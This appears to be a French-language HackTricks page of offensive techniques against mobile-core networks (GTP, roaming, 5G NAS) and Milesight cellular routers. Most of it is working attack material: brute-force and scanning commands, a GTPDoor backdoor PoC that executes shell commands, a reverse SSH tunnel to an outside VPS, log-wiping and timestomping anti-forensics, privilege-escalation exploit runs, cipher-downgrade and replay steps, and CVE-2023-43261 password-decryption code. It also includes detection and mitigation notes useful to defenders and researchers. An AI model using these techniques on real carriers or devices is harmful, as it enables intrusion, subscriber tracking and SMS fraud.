Telecom Network Exploitation (GTP / Roaming Environments)

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

note

Les protocoles du coeur mobile (GPRS Tunnelling Protocol – GTP) traversent souvent des backbones GRX/IPX de roaming semi-fiables. Parce qu'ils utilisent UDP en clair avec presque aucune authentification, tout point d'appui Ă  l'intĂ©rieur du pĂ©rimĂštre tĂ©lĂ©com peut gĂ©nĂ©ralement atteindre directement les plans de signalisation cƓur. Les notes suivantes rassemblent des astuces offensives observĂ©es sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nƓuds EPC.

1. Recon & Initial Access

1.1 Comptes OSS / NE par défaut

Un nombre étonnamment élevé d'éléments réseau fournis par les fabricants est livré avec des comptes SSH/Telnet codés en dur tels que root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, 
 Un wordlist dédié augmente considérablement le succÚs des attaques par brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Si le dispositif n'expose qu'une VRF de management, pivotez d'abord via un jump host (voir la section «SGSN Emu Tunnel» ci‑dessous).

1.2 Découverte d'hÎtes à l'intérieur de GRX/IPX

La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan avec les probes UDP intégrées gtpv1 pour cartographier rapidement les listeners GTP-C :

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. ÉnumĂ©ration des abonnĂ©s – cordscan

L'outil Go suivant forge des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révÚle le SGSN / MME actuel qui dessert l'IMSI interrogé et, parfois, le PLMN visité de l'abonné.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Options clés :

  • --imsi IMSI de l'abonnĂ© cible
  • --oper Home / HNI (MCC+MNC)
  • -w Écrire les paquets bruts dans un pcap

Des constantes importantes Ă  l'intĂ©rieur du binaire peuvent ĂȘtre patchĂ©es pour Ă©largir les scans :

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. ExĂ©cution de code via GTP – GTPDoor

GTPDoor est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque le payload commence par un pre-shared tag, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c. Les stdout/stderr sont exfiltrés à l'intérieur de messages Echo Response, de sorte qu'aucune session sortante n'est jamais créée.

Paquet PoC minimal (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Détection :

  • tout hĂŽte envoyant des unbalanced Echo Requests aux adresses IP SGSN
  • flag de version GTP rĂ©glĂ© sur 1 alors que message type = 1 (Echo) – Ă©cart Ă  la spĂ©cification

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN embarque un émulateur SGSN capable d'établir un contexte PDP vers un vrai GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0 accessible depuis le pair en itinérance.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le data plane.

4.2 SSH Reverse Tunnel over Port 53

Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Vérifiez que GatewayPorts yes est activé sur le VPS.

5. Canaux cachés

ChannelTransportDecodingNotes
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)Ă©coute purement passive, aucun trafic sortant
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encodĂ© dans les octets d'enregistrement Asurveille le sous-domaine *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob dans un IE privĂ©se fond dans le trafic GTP-C lĂ©gitime

Tous les implants implémentent des watchdogs qui timestomp leurs binaires et se relancent si ceux-ci plantent.

6. Aide-mémoire d'évasion des défenses

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Escalade de privilÚges sur des NE hérités

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Astuce de nettoyage :

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. BoĂźte Ă  outils

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – outils personnalisĂ©s dĂ©crits dans les sections prĂ©cĂ©dentes.
  • FScan : balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : pivoting SOCKS5 lĂ©ger
  • FRP (≄0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

La procĂ©dure d'enregistrement 5G s'exĂ©cute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'Ă  activation de la sĂ©curitĂ© NAS via Security Mode Command/Complete, les messages initiaux ne sont ni authentifiĂ©s ni chiffrĂ©s. Cette fenĂȘtre prĂ©-sĂ©curitĂ© permet plusieurs vecteurs d'attaque lorsque vous pouvez observer ou altĂ©rer le trafic N2 (par ex., on-path Ă  l'intĂ©rieur du core, rogue gNB, ou testbed).

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Conseils pour le labo (non-RF) :

  • Core : un dĂ©ploiement Open5GS par dĂ©faut suffit pour reproduire les flows.
  • UE : simulateur ou UE de test ; dĂ©coder avec Wireshark.
  • Active tooling : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Filtres utiles dans Wireshark :
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le tracking persistant de l'abonné.

Comment tester :

  • Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
  • VĂ©rifications rapides dans Wireshark :
  • Il doit dĂ©coder comme SUCI, pas IMSI.
  • Exemples de filtres : nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci devrait exister ; l'absence combinĂ©e Ă  la prĂ©sence de imsi indique un leak.

À collecter :

  • MCC/MNC/MSIN si exposĂ©s ; logger par UE et suivre dans le temps/les lieux.

Atténuation :

  • Imposer SUCI-only pour les UEs/USIMs ; alerter sur toute prĂ©sence d'IMSI/SUPI dans le NAS initial.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Contexte :

  • L'UE annonce les EEA (encryption) et EIA (integrity) supportĂ©s dans l'UE Security Capability IE de la Registration Request.
  • Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes null.

ProblĂšme :

  • Parce que la Registration Request n'est pas protĂ©gĂ©e par intĂ©gritĂ©, un attaquant on-path peut effacer des bits de capability pour forcer la sĂ©lection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certains stacks autorisent incorrectement les algorithmes null en dehors des services d'urgence.

Étapes offensives :

  • Intercepter InitialUEMessage et modifier le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
  • Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant retransmission.
  • Observer si l'AMF accepte des chiffrement/intĂ©gritĂ© null et complĂšte le Security Mode avec EEA0/EIA0.

Vérification/visibilité :

  • Dans Wireshark, confirmer les algorithmes sĂ©lectionnĂ©s aprĂšs Security Mode Command/Complete.
  • Exemple de sortie de sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Atténuations (obligatoires) :

  • Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandatĂ© (p. ex., appels d'urgence).
  • PrĂ©fĂ©rer l'application d'EEA2/EIA2 au minimum ; consigner et gĂ©nĂ©rer une alerte pour tout contexte de sĂ©curitĂ© NAS qui nĂ©gocie des algorithmes nuls.

9.3 Rejeu de la Registration Request initiale (NAS pré-sécurité)

Parce que le NAS initial manque d'intĂ©gritĂ© et de fraĂźcheur, un InitialUEMessage+Registration Request capturĂ© peut ĂȘtre rejouĂ© vers l'AMF.

RÚgle PoC pour 5GReplay pour transférer les replays correspondants :

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

À observer :

  • Si l'AMF accepte le replay et passe Ă  Authentication ; l'absence de validation de fraĂźcheur / de contexte indique une exposition.

Mesures d'atténuation :

  • Imposer une protection contre les replays / context binding au niveau de l'AMF ; rate-limit et corrĂ©ler par GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: dĂ©marrer un AMF/SMF/UPF pour Ă©muler le core ; observer N2 (NGAP) et NAS.
  • Wireshark: vĂ©rifier les dĂ©codages de NGAP/NAS ; appliquer les filtres ci‑dessous pour isoler la Registration.
  • 5GReplay: capturer une registration, puis replay des messages NGAP + NAS spĂ©cifiques selon la rĂšgle.
  • Sni5Gect: live sniff/modify/inject le control‑plane NAS pour forcer des algorithmes null ou perturber les sĂ©quences d'authentication.

9.5 Defensive checklist

  • Inspecter en continu la Registration Request pour SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
  • Rejeter EEA0/EIA0 sauf pour des procĂ©dures d'urgence strictement dĂ©finies ; exiger au minimum EEA2/EIA2.
  • DĂ©tecter une infrastructure rogue ou mal configurĂ©e : gNB/AMF non autorisĂ©s, peers N2 inattendus.
  • Alerter sur les modes de sĂ©curitĂ© NAS qui entraĂźnent des algorithmes null ou des replays frĂ©quents de InitialUEMessage.

10. Routeurs cellulaires industriels – Abus d'API SMS non authentifiĂ©e (Milesight UR5X/UR32/UR35/UR41) et rĂ©cupĂ©ration d'identifiants (CVE-2023-43261)

L'abus d'API web exposĂ©es des routeurs cellulaires industriels permet du smishing discret d'origine opĂ©rateur Ă  grande Ă©chelle. Les routeurs Milesight de la sĂ©rie UR exposent un endpoint de type JSON-RPC Ă  /cgi. Lorsqu'elle est mal configurĂ©e, l'API peut ĂȘtre interrogĂ©e sans authentification pour lister la boĂźte de rĂ©ception/boĂźte d'envoi SMS et, dans certains dĂ©ploiements, pour envoyer des SMS.

RequĂȘtes non authentifiĂ©es typiques (mĂȘme structure pour boĂźte de rĂ©ception/boĂźte d'envoi) :

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Les rĂ©ponses incluent des champs tels que timestamp, content, phone_number (E.164) et status (success ou failed). Des envois failed rĂ©pĂ©tĂ©s vers le mĂȘme numĂ©ro sont souvent des “vĂ©rifications de capacitĂ©â€ de l'attaquant pour valider qu'un router/SIM peut dĂ©livrer avant un envoi massif.

Exemple de curl pour exfiltrer les métadonnées SMS :

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Remarques sur les auth artifacts:

  • Une partie du trafic peut inclure un auth cookie, mais une grande fraction des appareils exposĂ©s rĂ©pond sans aucune authentification Ă  query_inbox/query_outbox lorsque l'interface de gestion est accessible depuis Internet.
  • Dans les environnements nĂ©cessitant une auth, previously-leaked credentials (voir ci‑dessous) restaurent l'accĂšs.

Credential recovery path – CVE-2023-43261:

  • Familles affectĂ©es : UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Issue : les logs servis via le web (p.ex., httpd.log) sont accessibles sans authentification sous /lang/log/ et contiennent des Ă©vĂ©nements de login admin avec le mot de passe chiffrĂ© en utilisant une hardcoded AES key/IV prĂ©sente dans le client-side JavaScript.
  • Practical access and decrypt:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Python minimal pour décrypter leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Idées de hunting et de détection (réseau) :

  • Alerter sur les POST /cgi non authentifiĂ©s dont le corps JSON contient base/function dĂ©fini sur query_inbox ou query_outbox.
  • Suivre les rafales rĂ©pĂ©tĂ©es de POST /cgi suivies d'entrĂ©es status":"failed" affectant de nombreux numĂ©ros uniques depuis la mĂȘme IP source (capability testing).
  • Inventorier les routeurs Milesight exposĂ©s sur Internet ; restreindre la gestion au VPN ; dĂ©sactiver les fonctionnalitĂ©s SMS sauf si nĂ©cessaires ; mettre Ă  niveau vers ≄ v35.3.0.7 ; faire pivoter les identifiants et examiner les logs SMS pour des envois inconnus.

Shodan/OSINT pivots (examples seen in the wild) :

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Impact opérationnel : l'utilisation de SIMs d'opérateurs légitimes à l'intérieur des routeurs offre une trÚs haute délivrabilité/crédibilité des SMS pour le phishing, tandis que l'exposition des inbox/outbox leak des métadonnées sensibles à grande échelle.


Idées de détection

  1. Tout appareil autre qu'un SGSN/GGSN établissant Create PDP Context Requests.
  2. Ports non standard (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
  3. Echo Requests frĂ©quents sans Echo Responses correspondantes – peut indiquer des beacons GTPDoor.
  4. Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence larges non nuls.
  5. 5G : InitialUEMessage transportant des NAS Registration Requests répétés depuis des endpoints identiques (signal de replay).
  6. 5G : NAS Security Mode négociant EEA0/EIA0 en dehors de contextes d'urgence.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks